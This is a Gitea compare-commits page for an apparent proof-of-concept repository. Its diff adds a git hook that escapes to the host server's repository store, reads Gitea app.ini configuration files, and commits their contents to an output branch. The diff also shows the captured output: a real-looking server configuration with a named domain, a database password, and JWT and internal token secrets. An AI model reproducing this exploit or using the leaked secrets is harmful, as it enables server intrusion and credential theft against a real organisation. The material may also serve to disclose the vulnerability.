Compare commits

..

No commits in common. "out-7d00175abc" and "master" have entirely different histories.

3 changed files with 16 additions and 100 deletions

2
README.md Normal file
View File

@ -0,0 +1,2 @@
# poc-7d00175abc

14
hooks/post-index-change Executable file
View File

@ -0,0 +1,14 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
output_blob=$({ /bin/sh -c 'cat /data/gitea/conf/app.ini 2>/dev/null; cat /etc/gitea/app.ini 2>/dev/null; cat /var/lib/gitea/custom/conf/app.ini 2>/dev/null'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/out-7d00175abc "$commit" || exit 7
exit 0

100
output
View File

@ -1,100 +0,0 @@
APP_NAME = Gitea: Git with a cup of tea
RUN_USER = git
WORK_PATH = /var/lib/gitea
RUN_MODE = prod
[database]
DB_TYPE = postgres
HOST = 127.0.0.1:5432
NAME = gitea
USER = kyaw
PASSWD = password
SCHEMA =
SSL_MODE = disable
PATH = /var/lib/gitea/data/gitea.db
LOG_SQL = false
[repository]
ROOT = /var/lib/gitea/data/gitea-repositories
MAX_UPLOAD_SIZE = 0
[server]
SSH_DOMAIN = hub.utsmyanmar.com
DOMAIN = hub.utsmyanmar.com
HTTP_PORT = 3000
ROOT_URL = https://hub.utsmyanmar.com/
APP_DATA_PATH = /var/lib/gitea/data
DISABLE_SSH = false
SSH_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = EfVhbzczH5j_XUs1dBR7OP8iuQSgqNRoUw3956kRQSA
OFFLINE_MODE = true
MAXIMUM_ATTACHMENT_SIZE = 0
MAX_REQUEST_SIZE = 0
[repository.upload]
ENABLED = true
FILE_MAX_SIZE = 0
[lfs]
PATH = /var/lib/gitea/data/lfs
MAX_OBJECT_SIZE = 0
[mailer]
ENABLED = false
[service]
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
DISABLE_REGISTRATION = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
REQUIRE_SIGNIN_VIEW = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost
[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true
[cron.update_checker]
ENABLED = true
[session]
PROVIDER = file
[log]
MODE = console
LEVEL = info
ROOT_PATH = /var/lib/gitea/log
[repository.pull-request]
DEFAULT_MERGE_STYLE = merge
[repository.signing]
DEFAULT_TRUST_MODEL = committer
[security]
INSTALL_LOCK = true
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NjI1ODAwNzJ9.xuTCtd5qOfSoFO3lO_BJxIxdaSIkx9JyZWa3c-6j-xE
PASSWORD_HASH_ALGO = pbkdf2
PROXY_MAX_SIZE = 0
PROXY_MAX_HEADER_SIZE = 0
[oauth2]
JWT_SECRET = DTpXA0WHCtxZm-gE9TiSCcY3rDaNR9ymrCVXmngR_mk
[actions]
ENABLED = true
[git]
MAX_GIT_SIZE = 0
[web]
HTTP_GZIP = true
MINIO_MAX_REQUEST_SIZE = 0
[exit-status=1]